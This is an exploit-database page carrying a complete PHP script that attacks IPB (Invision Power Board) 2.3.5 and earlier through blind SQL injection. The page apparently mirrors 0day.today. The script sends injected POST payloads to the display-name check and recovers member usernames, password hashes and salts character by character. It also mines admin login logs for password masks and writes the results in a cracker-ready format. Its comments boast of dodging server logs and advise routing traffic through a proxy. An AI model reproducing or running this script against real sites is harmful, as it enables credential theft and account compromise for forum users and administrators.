Lucene search
K

IPB <= 2.3.5 Improved SQL Injection Exploit

🗓️ 20 Apr 2010 00:00:00Reported by CryptovirusType 
zdt
 zdt
🔗 0day.today👁 24 Views

IPB <= 2.3.5 Improved SQL Injection Exploit. Fetching algorithm optimized for speed, attack through $_POST, pretesting for vulnerability, curl extension autoloading, log format compatible with passwordspro

Code
===========================================
IPB <= 2.3.5 Improved SQL Injection Exploit
===========================================

<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.0
// written by Cryptovirus
// http://de.crypt.in/
// base code by "waraxe"
// http://waraxe.us/
// 23. january 2010
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. log format compatible with passwordspro
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Die, if executed from webserver
//=====================================================================
if(!$cli)
{
      echo "<html><head><title>Attention!</title></head>\n";
      echo "<body><br /><br /><center>\n";
      echo "<h1>Error!</h1>\n";
      echo "This exploit is meant to be used as php CLI script!<br />\n";
      echo "More information:<br />\n";
      echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
      echo "This script will not run through a webserver.<br />\n";
      echo "</center></body></html>\n";
      exit;
}
//=====================================================================
// Print the awesome de.crypt.in logo
//=====================================================================
echo "\n     _                             _     _       ";
echo "\n  __| | ___   ___ _ __ _   _ _ __ | |_  (_)_ __  ";
echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";
echo "\n| (_| |  __/| (__| |  | |_| | |_) | |_ _| | | | |";
echo "\n \__,_|\___(_)___|_|   \__, | .__/ \__(_)_|_| |_|";
echo "\n                       |___/|_|                  \n\n";
//=====================================================================
// Check if all command line arguments were passed
//=====================================================================
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){
      echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [prefix]\n";
      echo "Argument [prefix] is optional, default is 'ibf_'\n";
	  echo "\n";
	  echo "Options: 1 - Fetch username, 2 - Fetch password hash, 3 - fetch password mask\n\n";
	  echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1\n";
	  die;
}
//=====================================================================
// Change the value below if required:
//=====================================================================
$user_name = '';
///////////////////////////////////////////////////////////////////////
$url = $argv[1];
$chosen_id = $argv[2];
$ch_option = $argv[3];
$prefix = 'ibf_';
if(isset($argv[4])) $prefix = $argv[4];
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './de.crypt.in_IPB2.txt'; //Log file

if(!extension_loaded('curl'))
{
   if(!dl('php_curl.dll'))
   {
      die("Curl extension not loaded!\n Fatal exit ...\n");
   }
   else
   {
      echo "Curl loading success\n";
   }
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("==========================================");
add_line("Target: $url");
$i = $chosen_id;
   echo "Testing ID $i\n";
   if(!test_target_id($i))
   {
      echo "ID $i not valid, try again ...\n";
      die;
   }
   echo "ID $i validated\n";
add_line("------------------------------------------"); 
// Check chosen option and proceed accordingly
if($ch_option == 2){
	$hash = get_hash($i);
	$salt = get_salt($i);
	$line = "$i:$hash:$salt";
	add_line($line);
	xecho("\n------------------------------------------\n");
	xecho("User ID: $i\n");
	xecho("Hash: $hash\n");
	xecho("Salt: $salt");
	xecho("\n------------------------------------------\n");
}
else if($ch_option == 1){
	$uname = get_user($i);
	$line = "The username for id $i is $uname";
	add_line($line);
	xecho("$uname");
}
else if($ch_option == 3){
	xecho ("\nNOTE: MASK CAN BE WRONG IF YOU DON'T SET THE USERNAME IN THE SCRIPT! (line 66)\n");
	$mask = get_mask();
	$line = "The password mask is $mask";
	add_line($line);
}
xecho("\nQuestions and feedback - http://de.crypt.in/ \n");
die(" \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
   global $url;
   
   $post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
   $buff = trim(make_post($url, $post, '', $url));

   if($buff === 'notfound')
   {
      die('Target is patched? Exiting ...');
   }
   
   if($buff !== 'found')
   {
      die('Invalid response, target URL not valid? Exiting ...');
   }
}
//////////////////////////////////////////////////////////////////////
function test_target_id($id)
{
   global $url, $prefix;  
   $post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
   return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
   $len = 5;
   $out = '';
   xecho("Finding salt ...\n");
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_saltchar($i, $id);
      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
      xecho("Current salt: $out \n");
   }
   xecho("\nFinal salt for ID $id: $out\n\n");
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
   global $prefix;
   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
   $curr = 0;
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         break;
      }
      
      $half = intval(floor($area / 2));
      $curr = $min + $half;
      $post = $pattern . '%253e' . $curr;
      $bigger = test_condition($post);
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }
      xecho("Current test: $curr-$max-$min\n");
   }
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
   $len = 32;
   $out = '';
   xecho("Finding hash ...\n");
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($i, $id);
      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
      xecho("Current hash: $out \n");
   }
   xecho("\nFinal hash for ID $id: $out\n\n");
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
   global $prefix;
   $char = '';
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";
   // First let's determine, if it's number or letter
   $post = $pattern . '%253e57';
   $letter = test_condition($post);
   if($letter)
   {
      $min = 97;
      $max = 102;
      xecho("Char to find is [a-f]\n");
   }
   else
   {
      $min = 48;
      $max = 57;
      xecho("Char to find is [0-9]\n");
   }
   $curr = 0;
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         break;
      }
      
      $half = intval(floor($area / 2));
      $curr = $min + $half;
      $post = $pattern . '%253e' . $curr;
      $bigger = test_condition($post);
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }
      xecho("Current test: $curr-$max-$min\n");
   }
   return $char;
}
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_user($id)
{
   $len = 32;
   $out = '';
   
   xecho("Finding username ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_userchar($i, $id);
      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
      xecho("Current username: $out \n");
   }
   
   xecho("\nFinal username for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_userchar($pos, $id)
{
   global $prefix;

   $char = '';
  $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(name,$pos,1))";

   // First let's determine, if it's number or letter
   $post = $pattern . '%253e57';
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 65;
      $max = 122;
      xecho("Char to find is [a-f]\n");
   }
   else
   {
      $min = 48;
      $max = 57;
      xecho("Char to find is [0-9]\n");
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
      
      $half = intval(floor($area / 2));
      $curr = $min + $half;
      
      $post = $pattern . '%253e' . $curr;
      
      $bigger = test_condition($post);
      
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_mask()
{
   global $prefix;
   global $user_name;
   $len = 10000;
   $out = '';
   
   // Find last possible login log
   xecho("Finding latest possible log ...\n");
   for($i=0;$i<9000;$i+=10){
		$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_success=1 AND position(%2527*%2527 in admin_post_details)%253e0 AND position(%2527$user_name%2527 in admin_post_details)%253e0 AND admin_id";
		$post = $pattern . '%253e'.$i;
		$lognum = test_condition($post);
		if(!$lognum){
			for($j=$i;$j>$i-10;$j--){
				$post = $pattern . '%253d'.$j;
				$lognum = test_condition($post);
				if($lognum){
					$lognum=$j;
					break;
				}
			}
			break;
		}
   }
   xecho("\nUsing log number: $lognum\n");
   
   // Find password location
   xecho("Finding password mask location ...\n");
   for($i=0;$i<9000;$i+=10){
		$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_id=$lognum AND position(%2527*%2527 in admin_post_details)";
		$post = $pattern . '%253e'.$i;
		$thatsit = test_condition($post);
		if(!$thatsit){
			for($j=$i;$j>$i-10;$j--){
				$post = $pattern . '%253d'.$j;
				$thatsit = test_condition($post);
				if($thatsit){
					$thatsit=$j;
					break;
				}
			}
			break;
		}
   }
   xecho("\nMask located at: $thatsit\n");
   
   for($i = $thatsit; $i < $len; $i ++)
   {
      $ch = get_maskchar($i, $lognum);
      xecho("Got pos $i --> $ch\n");
	  if($ch != '"'){
		$out .= "$ch";
		xecho("Current mask: $out \n");
	  }
	  else {
		break;
	  }
   }
   
   if($user_name == ''){
		// Find username location
		   for($i=0;$i<9000;$i+=10){
				$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_id=$lognum AND position(%2527username%2527 in admin_post_details)";
				$post = $pattern . '%253e'.$i;
				$userpos = test_condition($post);
				if(!$userpos){
					for($j=$i;$j>$i-10;$j--){
						$post = $pattern . '%253d'.$j;
						$userpos = test_condition($post);
						if($userpos){
							$userpos=$j+16;
							break;
						}
					}
					break;
				}
		   }
		   xecho("\nUsername located at: $userpos\n");
		   
			for($i = $userpos; $i < $len; $i ++){
				  $ch = get_maskchar($i, $lognum);
				  xecho("Got pos $i --> $ch\n");
				  if($ch != '"'){
					$user_name .= "$ch";
					xecho("Current username: $user_name \n");
				  }
				  else {
					break;
				  }
			}
   }
   
   xecho("\nFinal password mask for $user_name: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_maskchar($pos, $lognum)
{
   global $prefix;

   $char = '';
	$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "admin_login_logs WHERE admin_success=1 AND admin_id=$lognum AND ORD(SUBSTR(admin_post_details,$pos,1))";
		$post = $pattern . '%253d42';
		$letter = test_condition($post);
		if($letter){
			// Just an asterisk.
			$char = '*';
		}
		else{
		   // First let's determine, if it's number or letter
		   $post = $pattern . '%253e64';
		   $letter = test_condition($post);
		   
		   if($letter)
		   {
			  $min = 65;
			  $max = 126;
			  xecho("Char to find is [A-z] or symbols - [,\\,],^,_,`,{,},~,|\n");
		   }
		   else
		   {
			  $min = 32;
			  $max = 64;
			  xecho("Char to find is [0-9] and lots of tasty symbols\n");
		   }

		   $curr = 0;
		   
		   while(1)
		   {
		   
				 //$post = $pattern . "=$max";
				 //$eq = test_condition($post);
			  $area = $max - $min;
			  if($area < 2 )
			  {
				 $post = $pattern . "=$max";
				 $eq = test_condition($post);
				 
				 if($eq)
				 {
					$char = chr($max);
				 }
				 else
				 {
					$char = chr($min);
				 }
				 
				 break;
			  }
			  
			  $half = intval(floor($area / 2));
			  $curr = $min + $half;
			  
			  $post = $pattern . '%253e' . $curr;
			  
			  $bigger = test_condition($post);
			  
			  if($bigger)
			  {
				 $min = $curr;
			  }
			  else
			  {
				 $max = $curr;
			  }

			  xecho("Current test: $curr-$max-$min\n");
		   }
		}
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url;
   
   $bret = false;
   $maxtry = 10;
   $try = 1;
      
   $pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
   $post = sprintf($pattern, $p);
   
   while(1)
   {
      $buff = trim(make_post($url, $post, '', $url));

      if($buff === 'found')
      {
         $bret = true;
         break;
      }
      elseif($buff === 'notfound')
      {
         break;
      }
      elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
      {
         die("Sql error! Wrong prefix?\nExiting ... ");
      }
      else
      {
         xecho("test_condition() - try $try - invalid return value ...\n");
         $try ++;
         if($try > $maxtry)
         {
            die("Too many tries - exiting ...\n");
         }
         else
         {
            xecho("Trying again - try $try ...\n");
         }
      }
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
   
   if(!empty($GLOBALS['proxy_ip_port']))
   {
      curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
      
      if(!empty($GLOBALS['proxy_user_password']))
      {
         curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
      }
   }
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }
   
   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
   global $outfile;
   $line .= "\r\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $line);
   fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
   if($GLOBALS['cli'])
   {
      echo "$line";
   }
   else
   {
      $line = nl2br(htmlspecialchars($line));
      echo "$line";
   }
}
///////////////////////////////////////////////////////////////////////
?> 



#  0day.today [2018-04-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation